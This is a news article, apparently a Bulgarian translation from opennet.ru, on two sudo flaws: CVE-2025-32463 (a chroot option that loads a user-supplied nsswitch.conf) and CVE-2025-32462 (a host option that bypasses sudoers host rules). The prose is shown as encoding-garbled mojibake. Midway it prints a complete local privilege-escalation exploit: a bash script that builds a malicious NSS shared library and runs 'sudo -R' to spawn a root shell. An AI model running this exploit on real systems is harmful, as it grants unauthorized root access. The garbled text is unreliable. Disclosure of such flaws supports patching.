Π ΠΏΠ°ΠΊΠ΅ΡΠ° sudo, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ Π·Π° ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ΡΠΎ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΡ ΠΈΠΌΠ΅ΡΠΎ Π½Π° Π΄ΡΡΠ³ΠΈ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈ, Π΅ ΠΎΡΠΊΡΠΈΡΠ° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ (CVE-2025-32463), ΠΊΠΎΡΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° Π½Π° Π²ΡΠ΅ΠΊΠΈ Π½Π΅ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΎΠ²Π°Π½ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π» Π΄Π° ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π° ΠΊΠΎΠ΄ Ρ ΠΏΡΠ°Π²Π° Π½Π° root, Π΄ΠΎΡΠΈ Π°ΠΊΠΎ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΡ Π½Π΅ Π΅ ΡΠΏΠΎΠΌΠ΅Π½Π°Ρ Π² ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΡΠ° sudoers. Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π·Π°ΡΡΠ³Π° Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΠΈ, ΠΊΠΎΠΈΡΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΎΠ½Π΅Π½ ΡΠ°ΠΉΠ» /etc/nsswitch.conf, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Π° Π² Ubuntu 24.04 ΠΈ Fedora 41.
Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° ΡΠ΅ ΠΏΡΠΎΡΠ²ΡΠ²Π° Π² ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΡΠ° ΠΏΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅ ΠΈ Π΅ ΠΏΠΎΡΠ²ΡΡΠ΄Π΅Π½Π° Π² Π²Π΅ΡΡΠΈΠΈΡΠ΅ Π½Π° sudo ΠΎΡ 1.9.14 Π΄ΠΎ 1.9.17 (ΠΏΠΎΡΠ΅Π½ΡΠΈΠ°Π»Π½ΠΎ Π·Π°ΡΡΠ³Π° Π²ΡΠΈΡΠΊΠΈ Π²Π΅ΡΡΠΈΠΈ, Π·Π°ΠΏΠΎΡΠ²Π°ΡΠΈ ΠΎΡ 1.8.33). ΠΡΠΎΠ±Π»Π΅ΠΌΡΡ Π΅ ΠΎΡΡΡΡΠ°Π½Π΅Π½ Π² Π°ΠΊΡΡΠ°Π»ΠΈΠ·Π°ΡΠΈΡΡΠ° Π½Π° sudo 1.9.17p1. Π‘ΡΡΡΠΎΡΠ½ΠΈΠ΅ΡΠΎ Π½Π° Π½ΠΎΠ²Π°ΡΠ° Π²Π΅ΡΡΠΈΡ Π½Π° ΠΏΠ°ΠΊΠ΅ΡΠ° ΠΈΠ»ΠΈ Π½Π°Π»ΠΈΡΠΈΠ΅ΡΠΎ Π½Π° ΠΏΠΎΠΏΡΠ°Π²ΠΊΠ° Π² Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΠΈΡΠ΅ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΈ Π½Π° ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΡΡΡΠ°Π½ΠΈΡΠΈ (Π°ΠΊΠΎ ΡΡΡΠ°Π½ΠΈΡΠ° Π½Π΅ Π΅ Π΄ΠΎΡΡΡΠΏΠ½Π°, ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΡΠΈΡΠ΅ Π½Π° Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΡΡΠ° Π²ΡΠ΅ ΠΎΡΠ΅ Π½Π΅ ΡΠ° Π·Π°ΠΏΠΎΡΠ½Π°Π»ΠΈ ΡΠ°Π±ΠΎΡΠ° ΠΏΠΎ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ°): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo ΠΈ Arch (1, 2).
ΠΡΠΎΠ±Π»Π΅ΠΌΠ°ΡΠ° Π²ΡΠ·Π½ΠΈΠΊΠ²Π°, ΡΡΠΉ ΠΊΠ°ΡΠΎ ΠΏΡΠΈ ΠΏΡΠΈΠ»Π°Π³Π°Π½Π΅ Π½Π° ΠΎΠΏΡΠΈΡΡΠ° Β«-RΒ» (Β«βchrootΒ») Π·Π° ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π² chroot ΠΎΠΊΠΎΠ»Π½Π° ΡΡΠ΅Π΄Π° Ρ ΠΈΠ·Π±ΡΠ°Π½ ΠΊΠΎΡΠ΅Π½ΠΎΠ² ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ, ΡΠ°ΠΉΠ»ΡΡ /etc/nsswitch.conf ΡΠ΅ Π·Π°ΡΠ΅ΠΆΠ΄Π° Π² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ° Π½Π° Π½ΠΎΠ²ΠΈΡ ΠΊΠΎΡΠ΅Π½ΠΎΠ² ΠΊΠ°ΡΠ°Π»ΠΎΠ³, Π° Π½Π΅ Π½Π° ΡΠΈΡΡΠ΅ΠΌΠ½ΠΈΡ ΠΊΠ°ΡΠ°Π»ΠΎΠ³. Π’ΡΠΉ ΠΊΠ°ΡΠΎ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΡ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΡΠΎΠ±ΡΡΠ²Π΅Π½ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ ΠΊΠ°ΡΠΎ ΠΊΠΎΡΠ΅Π½ΠΎΠ² ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Π·Π° chroot, ΡΠΎΠΉ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΠΎΡΡΠ°Π²ΠΈ ΡΠ°ΠΌ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΎΠ½Π΅Π½ ΡΠ°ΠΉΠ» nsswitch.conf. ΠΠΎΠ½ΡΡΠΎΠ»ΠΈΡΠ°ΠΉΠΊΠΈ Π·Π°ΡΠ΅ΠΆΠ΄Π°Π½ΠΈΡ ΡΠ°ΠΉΠ» ΠΎΡ ΠΏΠΎΠ΄ΡΠΈΡΡΠ΅ΠΌΠ°ΡΠ° NSS (Name Service Switch), ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΡ ΠΌΠΎΠΆΠ΅ Π΄Π° Π΄ΠΎΠ±Π°Π²ΠΈ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ, Π²ΠΎΠ΄Π΅ΡΠΈ Π΄ΠΎ ΠΈΠ·Π²ΠΈΠΊΠ²Π°Π½Π΅ Π½Π° Π΄ΠΎΠΏΡΠ»Π½ΠΈΡΠ΅Π»Π½ΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΠ²Π°ΡΠΈ. ΠΠΎΠ΄ΠΎΠ±Π½ΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΠ²Π°ΡΠΈ ΡΠ΅ Π·Π°ΡΠ΅ΠΆΠ΄Π°Ρ ΠΎΡ NSS ΠΏΠΎΠ΄ ΡΠΎΡΠΌΠ°ΡΠ° Π½Π° ΡΠΏΠΎΠ΄Π΅Π»Π΅Π½ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ, ΠΊΠΎΠΈΡΠΎ ΡΡΡΠΎ ΠΌΠΎΠ³Π°Ρ Π΄Π° Π±ΡΠ΄Π°Ρ ΠΏΠΎΡΡΠ°Π²Π΅Π½ΠΈ Π² ΠΊΠΎΠ½ΡΡΠΎΠ»ΠΈΡΠ°Π½ΠΈΡ ΠΎΡ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ ΠΊΠ°ΡΠ°Π»ΠΎΠ³. ΠΠΎΠ΄ΠΌΠ΅Π½ΡΠΉΠΊΠΈ ΡΠ²ΠΎΡΡΠ° Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ°, ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΡ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΠΎΡΡΠΈΠ³Π½Π΅ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΠ΄ Ρ root ΠΏΡΠ°Π²Π°, ΡΡΠΉ ΠΊΠ°ΡΠΎ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ°ΡΠ° Π½Π° NSS ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π° ΠΏΡΠ΅Π΄ΠΈ ΠΎΡΠ½Π΅ΠΌΠ°Π½Π΅ΡΠΎ Π½Π° ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ.
ΠΡΠΈΠΌΠ΅Ρ Π½Π° Π΅ΠΊΡΠΏΠ»ΠΎΠΈΡ: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c <<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}
Π Π²Π΅ΡΡΠΈΡ 1.9.17p1 Π½Π° sudo ΡΡΡΠΎ Π΅ ΠΎΡΡΡΡΠ°Π½Π΅Π½Π° ΠΎΡΠ΅ Π΅Π΄Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ (CVE-2025-32462), ΠΊΠΎΡΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° Π΄Π° ΡΠ΅ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π°Ρ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Ρ ΠΏΡΠ°Π²Π° root, Π½ΠΎ ΡΠ΅ ΠΏΡΠΎΡΠ²ΡΠ²Π° ΡΠ°ΠΌΠΎ Π² ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ Π½Π° sudoers, ΠΊΡΠ΄Π΅ΡΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡΡΡ Β«hostΒ» Π΅ Π·Π°Π΄Π°Π΄Π΅Π½ Π½Π° ΡΡΠΎΠΉΠ½ΠΎΡΡ, ΡΠ°Π·Π»ΠΈΡΠ½Π° ΠΎΡ ALL ΠΈΠ»ΠΈ ΠΈΠΌΠ΅ΡΠΎ Π½Π° ΡΠ΅ΠΊΡΡΠΈΡ Ρ ΠΎΡΡ. Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π΅ ΠΏΡΠΈΡΠΈΠ½Π΅Π½Π° ΠΎΡ Π³ΡΠ΅ΡΠΊΠ°, ΠΏΠΎΡΠ°Π΄ΠΈ ΠΊΠΎΡΡΠΎ ΠΎΠΏΡΠΈΡΡΠ° Β«-hΒ» (Β«βhostΒ») Π΄Π΅ΠΉΡΡΠ²Π°ΡΠ΅ Π½Π΅ ΡΠ°ΠΌΠΎ Π² ΠΊΠΎΠΌΠ±ΠΈΠ½Π°ΡΠΈΡ Ρ ΠΎΠΏΡΠΈΡΡΠ° Β«-lΒ» (Β«βlistΒ») Π·Π° ΠΈΠ·Π²Π΅ΠΆΠ΄Π°Π½Π΅ Π½Π° ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈΡΠ΅, ΡΠ²ΡΡΠ·Π°Π½ΠΈ Ρ Ρ ΠΎΡΡ, Π½ΠΎ ΠΈ ΠΏΡΠΈ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ. ΠΠΎ ΡΠΎΠ·ΠΈ Π½Π°ΡΠΈΠ½ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π·Π°Π΄Π°Π΄Π΅ ΠΏΡΠΈ ΠΈΠ·Π²ΠΈΠΊΠ²Π°Π½Π΅ΡΠΎ Π½Π° sudo ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»Π΅Π½ Ρ ΠΎΡΡ ΠΈ Π΄Π° Π·Π°ΠΎΠ±ΠΈΠΊΠΎΠ»ΠΈ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΈΡΡΠ° Π² ΠΏΡΠ°Π²ΠΈΠ»Π°ΡΠ° sudoers, ΡΠ²ΡΡΠ·Π°Π½ΠΈ Ρ ΠΈΠΌΠ΅ΡΠΎ Π½Π° Ρ ΠΎΡΡΠ°.
ΠΠ° Π΄Π° ΠΈΠ·Π²ΡΡΡΠΈ Π°ΡΠ°ΠΊΠ°ΡΠ°, ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΡ ΡΡΡΠ±Π²Π° Π΄Π° Π±ΡΠ΄Π΅ ΡΠΏΠΎΠΌΠ΅Π½Π°Ρ Π² sudoers; Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π°ΠΊΠΎ Π² Π½Π°ΡΡΡΠΎΠΉΠΊΠΈΡΠ΅ Π΅ ΡΠΊΠ°Π·Π°Π½ΠΎ Β«testuser testhost = ALLΒ», ΡΠΎ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΡ Β«testuserΒ» ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π·Π°Π΄Π°Π΄Π΅ Β«sudo -h testhostΒ» ΠΈ Π΄Π° ΡΡΠ°ΡΡΠΈΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Ρ ΠΏΡΠ°Π²Π° root Π½Π° Π²ΡΡΠΊΠ°ΠΊΠ²ΠΈ Ρ
ΠΎΡΡΠΎΠ²Π΅, Π° Π½Π΅ ΡΠ°ΠΌΠΎ Π½Π° Ρ
ΠΎΡΡΠ° testhost. Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π½Π΅ Π·Π°ΡΡΠ³Π° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ Ρ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ ΠΎΡ Π²ΠΈΠ΄Π° Β«testuser ALL = ALLΒ» ΠΈΠ»ΠΈ Π±Π΅Π· ΡΠ²Π½ΠΈ ΠΏΡΠ°Π²ΠΈΠ»Π° Π·Π° ΠΊΠΎΠ½ΠΊΡΠ΅ΡΠ΅Π½ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π».
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: opennet.ru
